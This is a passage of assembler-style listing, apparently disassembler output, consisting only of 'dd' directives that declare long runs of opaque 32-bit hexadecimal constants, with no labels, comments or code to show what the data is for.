		dd 0BDB6Dh, 4B5F8F30h, 8BA262C9h, 0CB1854E2h, 11C0AC91h
		dd 88ED009Ah, 0E35FFAA7h, 9B18922Ch, 54109178h,	0ADCE0114h
		dd 0AA30CD0Ch, 92D0B853h, 0C412516Ah, 83D0380Bh, 1DD72E20h
		dd 3E4F8850h, 0BA0FD449h, 45F68906h, 886804C8h,	52243CD4h
		dd 0E117D080h, 4B2A1442h, 1AE44866h, 23090BFh, 29D71B77h
		dd 0BAC04C08h, 460BEE25h, 219A9163h, 7982AAE4h,	0FC30CB08h
		dd 710388E6h, 0AE78C029h, 0D5B6F924h, 8ACCA200h, 9F9BEE30h
		dd 324CF2E4h, 8431C02Ch, 0AB00F8F0h, 7328AE6Ch,	1264ADDAh
		dd 0D1A11FCBh, 305260C4h, 88E69EF5h, 26A4AA5Dh,	851334A0h
		dd 4F63A0D8h, 327CA03Dh, 64C90B01h, 1F5606E8h, 0E63FC24h
		dd 0B5C25D8Bh, 7F300EA1h, 0D450967Eh, 89FAAC82h, 0DB084898h
		dd 1D1A7FC9h, 96CA9E3h,	1C8371E6h, 0BAE8FB07h, 0A00082E2h
		dd 335E85CEh, 2A624DFDh, 2A4C7BFh, 9E29D6F1h, 0CCC1870Bh
		dd 5C30E005h, 0B5F20C01h, 62DF5604h, 0B430E4C1h, 4F0B0047h
		dd 0C8AA58A6h, 393BD061h, 6D909ACh, 14AC203Dh, 0C097DF01h
		dd 9602E460h, 9C0CCFB0h, 0F90D0312h, 74567EEBh,	0C7F027CCh
		dd 10E2BC90h, 0E4E1D098h, 0DD027FDFh, 0D383BE3Fh, 802C569Dh
		dd 4634A44Ch, 5401743Ch, 2C75B5BCh, 813AB007h, 646CB2E0h
		dd 0AC9ED504h, 0A48A0B50h, 893C96C4h, 0FC416E62h, 9E428E6h
		dd 187996CBh, 0B02CEBC0h, 8970BE44h, 80851964h,	3DF8CC75h
		dd 8FBC6B50h, 0F88E3498h, 0A0A0D5EEh, 18268452h, 0B08804BCh
		dd 0E6890219h, 80E8A0E9h, 507C6DF7h, 4C0134Bh, 483F6648h
		dd 533D9C40h, 70B09387h, 5A49C073h, 0B4A0F24Bh,	273B40FCh
		dd 74D001EEh, 0FE3A0345h, 0BDE068B1h, 9084050Dh, 607F4C40h
		dd 0DB7688h, 93AD9E67h,	0A5FB4EDFh, 1DA85207h, 4650AFF6h
		dd 4B0342EFh, 923817D2h, 9CC039E4h, 517CAB1Dh, 5640D48h
		dd 0FFF48412h, 0BE009CE2h, 0B753DFA3h, 6A007AFBh, 29FFE0AAh
		dd 74D0235h, 632208E3h,	0ECA0EC9Ch, 0AF2430FAh,	0D0027898h
		dd 0DC4C2BEBh, 0C0A7946Ch, 76515581h, 7C42E29Dh, 200FCDEh
		dd 10C3AE48h, 2EF17F71h, 426483CAh, 0C4DE3DCBh,	0EC24C724h
		dd 6CC76104h, 80A9C4D7h, 78E3E468h, 4AFB0B2Eh, 0D3802C22h
		dd 20AF211Ah, 5306F209h, 0C8C497h, 0EC783B9Eh, 227FDEFBh
		dd 3CC97412h, 0E1C8440Bh, 9462E5ACh, 8E766209h,	0C84820CEh
		dd 2509057Ch, 0A08440A4h, 0BD427C97h, 338085FEh, 0AB683BC0h
		dd 0E025000Bh, 30715A7Ah, 58BE1336h, 0B62E540h,	40494A16h
		dd 1E29FB24h, 0AB0518B0h, 71FC884Eh, 26060803h,	0D9A01792h
		dd 78D89978h, 0B9D73064h, 0C2F47EABh, 0E0926388h, 0E8396040h
		dd 75BD2F17h, 0B004F8ECh, 855ECA67h, 7D74B24Ch,	5200F0B6h
		dd 0F45B4AE3h, 31340922h, 98A0AB3Fh, 8D8E6B71h,	5FE68107h
		dd 978F2062h, 41C794DCh, 0D9A4246Dh, 8508046Fh,	2CE3F5F8h
		dd 0AA5F9871h, 0D3E08420h, 50D400D2h, 25510148h, 0F196B506h
		dd 0E1F7DCCEh, 0C8E5DF00h, 4A3E9D55h, 7DE706B0h, 48BC5A64h
		dd 0FB8B470Bh, 889B04E0h, 458C7081h, 2475E823h,	0C34449A2h
		dd 88DC9274h, 91E21538h, 0DD0F643Fh, 0DDF40588h, 3C80CB3Ah
		dd 1FEF14A7h, 0B1D1622Ch, 0C89D3020h, 90A8FB33h, 64010D79h
		dd 652F34B9h, 0B271CBDCh, 9A46041h, 0CC35D0h, 0B5B7F2C1h
		dd 4EEE93E4h, 0CC648626h, 0DE55030h, 57621602h,	99988CC4h
		dd 3FC9B4Dh, 950211F4h,	0CC101709h, 0AA384122h,	826C6288h
		dd 0FDE46709h, 0E034417Fh, 0D4D30838h, 71289860h, 79847B09h
		dd 9C0098F1h, 9010EEA5h, 4E800017h, 0F9FEFB0Bh,	7B0119F0h
		dd 3EC67278h, 3BEB0367h, 91838239h, 5D79C096h, 89FCF5E1h
		dd 0D936D618h, 242D08D8h, 0F30C002h, 59C84F9h, 0D0915D85h
		dd 3C3CA707h, 512CE001h, 3C0C4F3Ch, 824C8B08h, 601D77D8h
		dd 1F40445Ch, 8795A56Fh, 0E08E7F5Ah, 0C14CD670h, 31324BAh
		dd 0F00076FAh, 1915DDDEh, 80A40F4Dh, 18F8A306h,	8C0283BDh
		dd 287C6D9Dh, 44505E74h, 3388A9D7h, 0D0BF08E3h,	0B6CCE2DDh
		dd 8ABC01Ch, 52056684h,	0A58E7B37h, 33B249Ch, 684287C6h
		dd 43E00B66h, 495CDB28h, 30B04A18h, 1D0A44Dh, 3F69486Fh
		dd 50B48A06h, 44A03EACh, 0E486D401h, 62CFF508h,	924460DAh
		dd 7B4F0F8Ch, 0DA1C1D64h, 58421193h, 36DC1401h,	0E1B2D07Dh
		dd 5106A70Ch, 1D358C6h,	0F0C11FCEh, 0C8146B37h,	5E092B59h
		dd 225D202Ah, 2A1DA98h,	24412664h, 80E30870h, 7BFEFC3Ch
		dd 894F0C02h, 0E00E0B51h, 2BD47430h, 8794A346h,	0D01208B3h
		dd 0C878F784h, 6F5C3D1Dh, 0DE24080h, 3BF9D52h, 0A561C942h
		dd 0BC8BD8Ch, 3934C7FEh, 0F88011A4h, 7598E1DBh,	178E0079h
		dd 0D4727B8Dh, 1C24AC3Ah, 55132C37h, 0DD7A7442h, 4B28CE78h
		dd 88E00CAFh, 61284C0h,	4016686h, 49E3D5E5h, 3FF4213Bh
		dd 90F11467h, 8781B042h, 0EF8A88h, 0C7EEEBCAh, 8870913Ah
		dd 0B011FBAh, 0D0B6248Bh, 0D753AE4h, 77442A87h,	53BC0098h
		dd 0E100490Ch, 3C9F4A14h, 0A068B8A5h, 80B22CFCh, 0BB4ABDABh
		dd 0AC024816h, 0C6E35CCAh, 0CFDC0044h, 0D0BEF23Ch, 8100116Bh
		dd 0B7D4309Fh, 33035B40h, 4248E117h, 0B56069BAh, 60010918h
		dd 75D6AC78h, 91809030h, 3D6529ABh, 9F24CA39h, 0FA019C36h
		dd 5AE46260h, 8FECD880h, 877E38EDh, 0ADE54F05h,	54D46706h
		dd 97CFC8B0h, 29FD4090h, 0E8B84E24h, 64EB1084h,	2585ACB2h
		dd 31BC036Dh, 0E840F1FFh, 0D2002AC0h, 0C9751BA2h, 0BF9B535Fh
		dd 0A8C03C00h, 7100B9DEh, 0AA3A38DAh, 248A12h, 743B4C2Dh
		dd 7E628289h, 0D0315000h, 0CB88FCE3h, 0D8CC0FE1h, 9FEF5632h
		dd 305CCC3Dh, 0DB00A1E0h, 44D64635h, 7A01E313h,	73E20021h
		dd 9C695F88h, 0DA001A41h, 0D470F0A0h, 0C0C7D506h, 0EC5CCBC8h
		dd 8096DDF5h, 78172A09h, 34FB4A98h, 4A64E258h, 0CED9A0C0h
		dd 343534CBh, 45B8A080h, 0D7DD9C1Fh, 874B1CE8h,	0F8CC104Ch
		dd 0A2AB0070h, 0DDDAA9DCh, 8200BD25h, 0AC5463DFh, 0C070CBD8h
		dd 6490E351h, 58BAAE7Eh, 0A5D1ED04h, 0C88081D2h, 45D9798h
		dd 0FCE215ABh, 1E3CF9A1h, 1CC2DC1Eh, 74F885CBh,	77BC03A8h
		dd 7CAAFAF1h, 58D090E0h, 0D4FFCB18h, 4B898B20h,	9FC2106h
		dd 3E28611Dh, 204E6872h, 0B3A40E3Dh, 0AC27F8B0h, 0A8AC6810h
		dd 7D75B0ABh, 106CE703h, 1AE93C00h, 94CB5ED2h, 6170EC60h
		dd 9079DD8Eh, 24F0E554h, 0C99CBEF2h, 3EA27000h,	4F00EABEh
		dd 63A8439Ah, 28A485AEh, 0F47277h, 6DA03C1Ch, 472FFAB3h
		dd 7DA81260h, 35307663h, 1101707h, 0B9CA0E40h, 4F587073h
		dd 0ACBC087Ch, 3E0D4580h, 0FADAFFh, 0BCECAE26h,	7A2E0704h
		dd 1732C0C0h, 1FBD2AB8h, 0A81FCBDBh, 4DBF7A80h,	8CD48457h
		dd 5977D650h, 0A8458092h, 24009428h, 0B0F0EBA4h, 9A9F400Fh
		dd 29B018A4h, 0B1AE00C3h, 0F9F04EF2h, 11C0BF71h, 0CBC9D972h
		dd 44BE20h, 52584870h, 8201BB16h, 5002880Bh, 0CC2C7841h
		dd 0A1850313h, 0C3D34498h, 0D3B9321Ch, 12421B8h, 201BE68Fh
		dd 0ECBE3C5Ch, 2BAE7580h, 13EBCDA8h, 0E0C83021h, 3B4BCB84h
		dd 6784AC21h, 5476AC02h, 73CBD385h, 12A588D0h, 0B6602407h
		dd 9E088058h, 0D1412AE7h
		dd 668D20Fh, 0F27DA58Fh, 84551480h, 30C14BB0h, 0D270F850h
		dd 28EF0B1Fh, 0FCB01C12h, 0D498B576h, 2F18FC65h, 0D6105C61h
		dd 0DC0403D3h, 7BA2550h, 0FC0F67F8h, 4DAFA302h,	62917702h
		dd 1C98CC74h, 0C01CFC0Bh, 75AADB4Bh, 6800C86Fh,	0D8E2A8ABh
		dd 4EE356EBh, 4CF49002h, 91B5184Fh, 90A55828h, 0CC192CE7h
		dd 7EE607C8h, 0C402844Ch, 4600C88Ah, 22AFA096h,	0F0A8DE98h
		dd 90BD2510h, 77629C10h, 0C421944Bh, 5C245881h,	41680018h
		dd 78610E9Ch, 4E06713Ch, 9EB10414h, 6AB3B30h, 0AF40825Bh
		dd 4CF48EC0h, 8A68B019h, 213E401Ch, 3B9132F8h, 40443822h
		dd 0BEB1CBECh, 8182EBCh, 0E03A2978h, 3529048h, 38BE5D89h
		dd 7352F02h, 0AC748E16h, 2C90DDBFh, 660C54C8h, 0B2066E69h
		dd 3CC5B80h, 0C44C6310h, 8F20E9B4h, 0A09F0C2Ah,	50039DFDh
		dd 1115BC0Dh, 4B08822h,	4A82B170h, 0B73EC4CCh, 0CBCDD0C8h
		dd 6C6C6924h, 0CCC1BB00h, 24F1BD39h, 7441D2h, 0B5EEE491h
		dd 540123FFh, 0C5E6482h, 24CC7588h, 42622DE0h, 0CE3FF481h
		dd 825C78F4h, 8148DB66h, 50314F84h, 0D820073Fh,	0CA0E6925h
		dd 4AB7BC36h, 0AE288C04h, 76CEA300h, 0E2003E48h, 15865449h
		dd 4AADAA45h, 0D784CCE1h, 0D5016900h, 45845650h, 183FE4B8h
		dd 68702B31h, 680977FAh, 342AF08h, 0CFBA3960h, 0F7976380h
		dd 46802701h, 90D8C862h, 6A6006F8h, 0B9F83CC8h,	4B6D00FBh
		dd 0FEE48330h, 280079B5h, 646AC935h, 2D9A86D2h,	90C02563h
		dd 4CB8D0A1h, 0FD7B9096h, 0D0E40CC4h, 5483093Eh, 849064F2h
		dd 0BE010384h, 0CCE05B88h, 0F8681ECBh, 3D497300h, 4730744Dh
		dd 0C9F4E195h, 1DC3EC60h, 4366B8F7h, 0CF7FCB5Fh, 21B43051h
		dd 8C28A968h, 19B88027h, 146A9E7Ah, 0A48F6F2Ah,	0E562D2C2h
		dd 0B10020D0h, 0B8C44DC1h, 954E30C8h, 9935A880h, 3D056A8Eh
		dd 0FE2FF262h, 31E898B0h, 57696317h, 8D2DC4E7h,	91C5981Ah
		dd 80D010h, 0CC305B82h,	0CF0E7D5Fh, 0F89E2D31h,	0B2FAD2Ah
		dd 0FC19D82Ch, 3B2030E3h, 376DEE0Fh, 1944E655h,	0A2463930h
		dd 0DF81B51Dh, 3C41A52Ch, 0B89F604Ah, 34D748h, 0F94326E5h
		dd 2FC9A7CBh, 0C08BA3Ah, 0B18946F0h, 0E0F10D00h, 96B753DDh
		dd 5EC9E79h, 0A7CDC62h,	279CB284h, 7AAD2801h, 841E3B69h
		dd 0E268E4BDh, 0C0F0C084h, 9ECA302Ah, 571FCFC8h, 0AEDD7A0Fh
		dd 0E8628346h, 6870006Ch, 0F36B0226h, 0C600EECEh, 7B0BFDFBh
		dd 6486CF23h, 85D811C5h, 31548041h, 823E5A2Eh, 0B8C7CACCh
		dd 0A362C7A2h, 0B1177FDCh, 6470E98Eh, 30635820h, 6C1F0F76h
		dd 37CAB260h, 3C5E8090h, 54C72631h, 80E8034Dh, 0BB56B471h
		dd 0A47300D0h, 0B25E8ACCh, 0DC9682E9h, 2C649C1Fh, 1AC9808h
		dd 0C602DB99h, 80406CCEh, 2A886EFDh, 28F64914h,	0FDC0D84Fh
		dd 5C40294Ch, 2C8A1080h, 133E8300h, 2405860Ch, 245F138h
		dd 942FD771h, 287B00E1h, 6600C874h, 0CC528EE7h,	0D8177Dh
		dd 11A96732h, 4A0723A0h, 6E3BB00h, 65F652C4h, 5DF132Ah
		dd 5BD8E38Ch, 0A43E3881h, 0E3D65887h, 804097FAh, 3F660269h
		dd 0C80A754Bh, 4601B570h, 0E2453D61h, 98C46C39h, 0C1C4E8E4h
		dd 8A625E8Bh, 0AF40103Fh, 46E51512h, 12C86E6Ch,	8CC10C5Eh
		dd 0D000AD7Dh, 0D090F538h, 0FD0B890Bh, 85B48943h, 70F17218h
		dd 0D048D47Dh, 4AB0D732h, 0AB20F466h, 0B7CB58FDh, 20DC9878h
		dd 0AA133299h, 64A4AD8Eh, 2B6D647h, 0DE0F34D0h,	9E8D7F61h
		dd 0E3D68420h, 17E704C8h, 96697E28h, 67E08160h,	8038DC3Eh
		dd 21BDCF79h, 1C37BAFh,	0DFFF46A6h, 80011DCBh, 0F5508498h
		dd 0FDE6905h, 0FBCED770h, 4C4D1413h, 8D8272Dh, 25E35204h
		dd 0B8BC29FAh, 0CC7EED80h, 0C0BFDBAAh, 3FFE164h, 5120172h
		dd 3801854Fh, 890A25E5h, 22EA690h, 70F3032Ch, 0FC98A8EEh
		dd 4566F40h, 92EDF611h,	2C34ACABh, 842448CDh, 6A153480h
		dd 0F663B5B6h, 7D7A00DDh, 0B79E143Fh, 6C3DB491h, 28A8A6F7h
		dd 30424013h, 0DE51474Ch, 0C73E9028h, 12F159FAh, 0B478800Dh
		dd 4962D9C7h, 5917F4D8h, 0ACE614E5h, 0BD48D4Fh,	0EE0B168Ch
		dd 24E0A025h, 681E582Ah, 0AB092852h, 88C4B16Fh,	0F0CC89BDh
		dd 0E8916174h, 0FE6D22E7h, 0A8AC1074h, 0F429C07h, 62BF3310h
		dd 0E0FE51AEh, 0D15C6C02h, 94636188h, 3B288CF0h, 1F8BA14Fh
		dd 0C923524Eh, 0A800BF4Ah, 8C61F0E0h, 3F68EA06h, 0B788C50Ch
		dd 82A0608Ch, 0C7486558h, 26C2E637h, 0FA14E6CFh, 7964A0B8h
		dd 4DA33EB1h, 2E2A7050h, 800C8BCCh, 0B3EDCF29h,	0B81794DEh
		dd 0F405EBCDh, 0F0ADE2A8h, 0E2A10h, 3E6D4871h, 959FBE06h
		dd 2762D402h, 16538CA1h, 8186E458h, 0CA504804h,	58F52667h
		dd 40A8800Ch, 2898B9FBh, 6810AA0Bh, 0E85078B8h,	38652D6Fh
		dd 0C0A46064h, 0E3577D13h, 2C4230B6h, 62B0D04Fh, 109D91B3h
		dd 6B42FE4h, 27648A37h,	5D0918A3h, 0DBBF7984h, 0D79C405Ch
		dd 3A005131h, 243CFC4Bh, 1A2B99EAh, 38E63207h, 880210B2h
		dd 83009D74h, 38BD46Bh,	1CCBD558h, 0A87D7FC4h, 0FEA0AD00h
		dd 9C7FC84h, 0DC704Dh, 623EC8CAh, 0CB663B50h, 804FEC32h
		dd 4B1CF06Fh, 0E93C0970h, 2A147814h, 25D09CBAh,	0BC984ECDh
		dd 0B62A6728h, 0A33F186Ch, 0F99BB072h, 0A92062E5h, 0C846B494h
		dd 0D6723E68h, 189FB71Ah, 0A21C2CC0h, 0C2F88281h, 0AE1E126Ch
		dd 0CEB102EBh, 20C08D51h, 971E91F5h, 2F80A3E9h,	7ED57CFh
		dd 4DCA043Bh, 1C4A272Ah, 8806C443h, 0FC5001C3h,	0BBE41558h
		dd 5F6180B8h, 0B2967238h, 6288B87Dh, 0EBDE39CAh, 54DD7CE0h
		dd 6A30B00Eh, 7B00BFC3h, 62D776CAh, 20D95C5Ah, 301BEC03h
		dd 3827461Fh, 93C49D6h,	29E4E980h, 7CABBDD4h, 0EB373013h
		dd 3FE3FC40h, 64B6AE6h,	6762D482h, 5C0130BEh, 0CC7F30CDh
		dd 0E444D08Fh, 5457DC12h, 0AC075002h, 307872h, 8AD9303Dh
		dd 96D115B8h, 6D196463h, 0A680B1FCh, 27CDF088h,	3ED6E501h
		dd 497E1D0Ch, 0DCD6DD4Ch, 0EEE46204h, 2B819087h, 243A35DBh
		dd 6038C520h, 0C6DB8488h, 30C7C505h, 94F987C9h,	4514D9D3h
		dd 558E290h, 0D772737Bh, 0AB82F8F3h, 0D8481505h, 50D655BFh
		dd 12AE0C00h, 8881E9h, 0F80B6C5Ch, 724E44CBh, 67566418h
		dd 4F2EBA28h, 0E820C531h, 59063C20h, 78DF09E4h,	0BE4085FDh
		dd 0E1E8D445h, 0EC6C09FFh, 62320882h, 30247881h, 0D82EC3F8h
		dd 0CE8440D4h, 80F82AEBh, 0E819E4CBh, 702C70CCh, 0D8CCD894h
		dd 8D1A00C9h, 0CEF43572h, 0AD02A586h, 8A88E689h, 0BF8C939h
		dd 0CDEFA240h, 28EBF8BCh, 9DFCD3FDh, 9D5D6482h,	646E2879h
		dd 0D4A85546h, 8850DA2Bh, 2411257h, 6561CB6Fh, 0DCBE7080h
		dd 0C9B36AFFh, 0BC34105h, 5BC119EFh, 7C75F5DDh,	5124E8F2h
		dd 479B0025h, 29CE3E94h, 3D0011EEh, 50CC3C83h, 8A6A82h
		dd 0A40C2BEh, 0ED51E353h, 0DB316C90h, 0C70208EBh, 2A35860h
		dd 3AAFC10Bh, 0EC406474h, 650B9D83h, 0F8AECBB1h, 0F98B3858h
		dd 0ECBC2281h, 7071AD88h, 1BD0F08h, 9E2DCCA4h, 0F9DB2881h
		dd 210C9249h, 62DC248Ch, 0C8E9CB24h, 0C0064001h, 4B0264B7h
		dd 0A6750861h, 0D0A9E038h, 54C22A17h, 42991068h, 0D7EE8516h
		dd 542D8600h, 2E82E692h, 0B94FB4Eh, 0D442F0ACh,	7A0AEC41h
		dd 1CB59400h, 10C51ABh,	7CA7DF54h, 51E7A284h, 5603A4h
		dd 90F4D463h, 0D04124B0h, 81E617A4h, 81FFC8C0h,	891C7618h
		dd 0CBC86961h, 145A5C71h
		dd 7F78620Bh, 0C0C238DAh, 590FFD4Ch, 35803B0h, 702C0BC0h
		dd 410968B2h, 25188F0Eh, 0D8F87D68h, 0BC50A13h,	98D0A260h
		dd 0CF9A7062h, 0F87823h, 0C954CBFCh, 2224073Ah,	1BC6448h
		dd 6AF3AC34h, 7BD22Ah, 50C3409Ch, 5E0052E7h, 7629D74Ch
		dd 4CEAF70Ch, 0BF1084B4h, 1CD92C14h, 0D23A4AC0h, 9CD55FEDh
		dd 7122FBECh, 25092588h, 0DD059853h, 22807235h,	9829E3B4h
		dd 13BA78D3h, 409B2230h, 50266F3Ch, 4E09A889h, 40AE61FEh
		dd 0B5C54h, 0E0F808F2h,	9A3BCAC0h, 8081232Dh, 8867DEECh
		dd 0D5A40686h, 907C8906h, 8BDB6CA0h, 4C549124h,	43984B18h
		dd 63D50EEFh, 1C9FDDF1h, 3F0424F0h, 0E7D2A81h, 622936E4h
		dd 74F80458h, 1D24223Ch, 174A0493h, 60EC75h, 82C73FCh
		dd 5C77D0BBh, 0BD002845h, 62F07E69h, 449A6640h,	18DA1C3Ch
		dd 57D0C141h, 2A3F009Eh, 37816BA8h, 3A00AA87h, 0BD01E30Fh
		dd 0A77C911h, 49E24DF0h, 40DF1F08h, 0FB4C0223h,	0A8F26B76h
		dd 0F23F1302h, 5756CBD8h, 0FAA57000h, 11005C53h, 84A6EE2Fh
		dd 4835630Ah, 0CB394CFDh, 0CC84A077h, 0E8442530h, 8C15812h
		dd 77FB00F2h, 0EBC319C8h, 7AA31C6Dh, 0A06CF040h, 177D98BAh
		dd 0F0FE301Dh, 0B3052784h, 0AB9DB0F3h, 0D280F4ACh, 10DAA232h
		dd 9ACBC00Bh, 8D64A4CCh, 3C601889h, 43311A58h, 18553883h
		dd 419CB8h, 843A62A6h, 18317AA8h, 0E4CBF40Ah, 0DE80E427h
		dd 2A036CA3h, 6CA09F24h, 1121CFF2h, 14B7249Ah, 47E227B8h
		dd 0A05410A9h, 2283B889h, 0BBF5EACh, 80D028B1h,	4CD1A120h
		dd 1EDDEFEBh, 973C907h,	3CF0ED9Bh, 0A906410Bh, 0AAD8015Eh
		dd 207A42E1h, 0C462DCACh, 0CB05C4B4h, 0AC9064C0h, 0B5CFFEFh
		dd 2C62284Dh, 94B8C843h, 0E495796Eh, 0C0CA5EF8h, 4DD9BD0h
		dd 17681053h, 0D4310EE4h, 0E84C8756h, 0E49B5C38h, 0D9710201h
		dd 607A860Bh, 9641D20Ch, 9DD8056Fh, 0D8E88C3Fh,	1CA40612h
		dd 1A12F0B9h, 7948C0EFh, 46091725h, 5E975673h, 630B0964h
		dd 6FCBFC20h, 0E013DDC2h, 98B0D706h, 7DFA00DAh,	66B4D187h
		dd 0DF0BFF3Bh, 0A32B0359h, 0F2E7DEE0h, 2588D18Bh, 1F401451h
		dd 7C61D559h, 368B04A7h, 0C04B6B57h, 8667BE14h,	0A3034F0Bh
		dd 28F47194h, 0D2A414D2h, 912CC4CAh, 58CC05DCh,	4D84C075h
		dd 953EDC97h, 0CCB47FCBh, 0F8E0C827h, 0DB78C688h, 0AB20FCh
		dd 0A0D47BE7h, 0D2F8DF17h, 2362530Fh, 2F180FB6h, 0E9CD5801h
		dd 78F16A84h, 8EE8D082h, 34C0AE35h, 0CBA9B90h, 0FD40E094h
		dd 2C2A8827h, 92280751h, 0E4408025h, 0B1026906h, 474940AAh
		dd 1C644264h, 2009FDFCh, 3C0245ACh, 73CBE04Ch, 0C8935507h
		dd 22A5EDC1h, 58C49EBCh, 0CB8C873h, 7ED4C9D7h, 309D1C01h
		dd 0D08FA097h, 0D60FD4A8h, 7106DF21h, 80747CE2h, 217D4A16h
		dd 0BF404C58h, 7AAC2200h, 32D875D2h, 8586350h, 7DB3391Eh
		dd 0E244EA42h, 0F1088910h, 41CD4764h, 7BD4E788h, 16158028h
		dd 0A1E95325h, 0ACAB04D0h, 42CBC240h, 409B001Bh, 4B00BB7Dh
		dd 772CAC6Ch, 0B25B3D48h, 8CCB094Ch, 0CC7FB0h, 606EFB2Ch
		dd 6BB3D44h, 28AA161Ch,	51894301h, 83B1A0BAh, 42431A6h
		dd 0BD958DF3h, 0D8AD8AA8h, 609C2A05h, 0F93CFC91h, 2E56A420h
		dd 20681A84h, 3EA10568h, 0C06BB96Ah, 497EF7A6h,	0A044F89Eh
		dd 3DBDA4D0h, 0EB9705AAh, 0A8C53024h, 3E85810h,	1B8E1369h
		dd 67E4B8CFh, 0FB07012Ch, 0A5796475h, 6C13DC02h, 35036090h
		dd 6FB81ECFh, 0AF87B893h, 70E51EB9h, 3F177BF0h,	64C51E08h
		dd 0B35C881Ch, 3E58E42Fh, 0D80C7002h, 7B50796Fh, 0A97F9502h
		dd 8413DDE1h, 78831BD8h, 0FA30005Eh, 64C1715Dh,	7954E0C7h
		dd 5F4A8C84h, 429CF004h, 43C822AFh, 8A1704D4h, 0C227181Ch
		dd 40195570h, 41868D1h,	91D3E63Fh, 62F270BCh, 0AA0C787Eh
		dd 5A5890D8h, 85042760h, 0BBB8D48Eh, 0D09CA045h, 3FC6A4FCh
		dd 2A12F146h, 0F0C0EE20h, 0B584914Ch, 0B85EFC12h, 50B0429h
		dd 4BECF110h, 0CB63D890h, 2E83F2Dh, 0D33794h, 63E6CD1h
		dd 5BFD8025h, 0C9ECA414h, 943F4427h, 6278F0A4h,	2409784Bh
		dd 0BCC0FBAh, 98C7491h,	706D878Ah, 0EA1E11A4h, 0C7E7BB81h
		dd 71E01DADh, 31CD0053h, 0F60B3870h, 0B209DD99h, 807E1E52h
		dd 1BFAF061h, 8A8100C9h, 4D884FB0h, 0EF7CC4E0h,	39A10D00h
		dd 0B333B127h, 4830C3A8h, 581F47C2h, 0F340ABFEh, 7352F1C6h
		dd 0C020C00Fh, 0B598BB7Ch, 0AF349403h, 0A122EA8Dh, 61F05415h
		dd 2380071h, 0D84E2A4Ah, 3B3C6A72h, 4C607282h, 8D5EDD11h
		dd 0D138616Eh, 0F952BB84h, 26608FACh, 2C48009Dh, 8A5F35h
		dd 246C4FFEh, 9FDFF08Fh, 0EAE38D03h, 159352h, 45FE830h
		dd 0DE6E814Ah, 0BCD9483Eh, 702918D0h, 0C13AD11h, 0DAF4F0AFh
		dd 0C90038D8h, 5C60797Ch, 0E2B36C57h, 0BF4818AFh, 8768202Bh
		dd 0DBD95E07h, 0E1A6AAF7h, 0BA4301B0h, 0B6A29BB5h, 386FC0B4h
		dd 0DD1A7718h, 0EF096C8h, 6EFFF829h, 0A14AD9A0h, 0E20CEBD0h
		dd 58119046h, 1697C41h,	0C8059E7Ah, 20CD93A1h, 9AE424D8h
		dd 76949D00h, 0E039110Ah, 0D4C715E6h, 6176F0FEh, 0BF57B8B8h
		dd 82AF308Dh, 0E0DF473Ah, 0AFC3B120h, 0BB950526h, 1F352E4Ah
		dd 9D9B3BACh, 98C338C9h, 0E17D6115h, 54270ABCh,	48E88E6h
		dd 0D372048h, 8B8DCFh, 34BEAFDBh, 948C30BCh, 0E2185660h
		dd 0CFADA476h, 18D83240h, 330DF6Dh, 447749DBh, 3920D8FAh
		dd 0A46032F9h, 0F13BB408h, 73BB3575h, 0FA080E20h, 0D9F85D60h
		dd 0D5603676h, 0A7A56119h, 0BBC2007Ch, 0FEAA3BD0h, 790FCA60h
		dd 0D8FA76D8h, 92E4B28h, 619BE5FDh, 8E07C08h, 3B0FF563h
		dd 536D01F4h, 9880A322h, 8D2554DFh, 0E628FDBBh,	6C54E856h
		dd 0F622F084h, 305948DAh, 358DC16h, 0AFBBADEDh,	100A49EFh
		dd 28EE3D1Ah, 4CF070F8h, 20577CA1h, 0A22A6784h,	0CA02B8CFh
		dd 0E6DB9505h, 4878C1D1h, 75FD020h, 0BA2EB88h, 0D3FBD19Ch
		dd 0C8806AB3h, 1D38F18Eh, 4047780Fh, 0BA71C4CDh, 0D8005FD5h
		dd 36FA052Ah, 8F0A1Fh, 4CEBBFCh, 4A19C9A2h, 0C4D2F01h
		dd 963A7AA6h, 40643820h, 0AB12AD08h, 7C0FEEAFh,	0CC8952h
		dd 0D75B3198h, 0AC3F00FBh, 51306B6Fh, 0E40FCFDCh, 4D527EE8h
		dd 1C0128B7h, 183460B6h, 0FD90146h, 0C50EC2A8h,	4AD06025h
		dd 82382C48h, 15B1D53h,	208D9734h, 6C74CF97h, 8E6FC402h
		dd 4BF6F5D0h, 4025F29Ch, 49D6D374h, 9C26E4B9h, 0AD450804h
		dd 4000F012h, 0B227A50Eh, 4D3890C4h, 5D240CE7h,	0DCE0B0DCh
		dd 0FD287665h, 8453BCDBh, 0BB7400ECh, 1C724FCFh, 954619E3h
		dd 0C4DEA814h, 0D1FED355h, 4C26D8A4h, 0B34468BCh, 746018C7h
		dd 6CA93DAh, 0DF52D53Bh, 61E398E2h, 2512098h, 40D4D050h
		dd 0F1B46706h, 60311Fh,	76D7108Fh, 7833B0C9h, 79A05450h
		dd 6DDA6305h, 0AEC45B45h, 61562C80h, 9CBB00D5h,	0E50ECC25h
		dd 0DC1E58CAh, 2D4A74B6h, 0B1C0B0BCh, 48D5AF23h, 0D904F8B3h
		dd 0D07C7667h, 8A488618h, 0B20E3Eh, 0C2961DF8h,	0C50DDEh
		dd 0C878FAD0h, 51DA572Fh, 0CAFA947Eh, 0D9F5ED00h, 3393BB4Bh
		dd 528C00AEh, 3770B20Ah, 0A3006F5Eh, 0A1AA906Ah, 7CD6DCBAh
		dd 7450986Eh, 49DF0EEAh, 0CA89342Bh, 0AE616C0Fh, 0B1DA01D8h
		dd 897B2810h, 33D7FA03h, 1878CED9h, 342F470Fh, 0DB8C0358h
		dd 8A08010Bh, 33BDAEDAh, 938BFCBBh, 90B65531h, 0D7077CE2h
		dd 9AB481A6h, 0D0428FCEh
		dd 0EBDF80C3h, 73EA7Fh,	0B2D9F6DEh, 0DD803181h,	0D015751Bh
		dd 5B778970h, 1186DAE1h, 0B9394649h, 0B1F67237h, 93A491C0h
		dd 264900E5h, 0D6C64676h, 51146D40h, 98D1C5h, 0AA448F43h
		dd 39DD66C4h, 0AF33C762h, 0AE88B240h, 0A805EA37h, 0ED69B0F5h
		dd 48A310C3h, 61061438h, 78248AD2h, 0BB2BE700h,	0D437DD1Dh
		dd 93A3012Fh, 354F31EEh, 5C9182DBh, 81B06B8Ah, 8928D48Ch
		dd 5796E0E3h, 392B00E9h, 0D613A647h, 5B1CECE5h,	4684BB26h
		dd 0D20F68D5h, 0D8DB8Ah, 528B0656h, 6F782384h, 4662B606h
		dd 1828CB91h, 7055F551h, 65EA4BF3h, 9D40A107h, 1E3BE86h
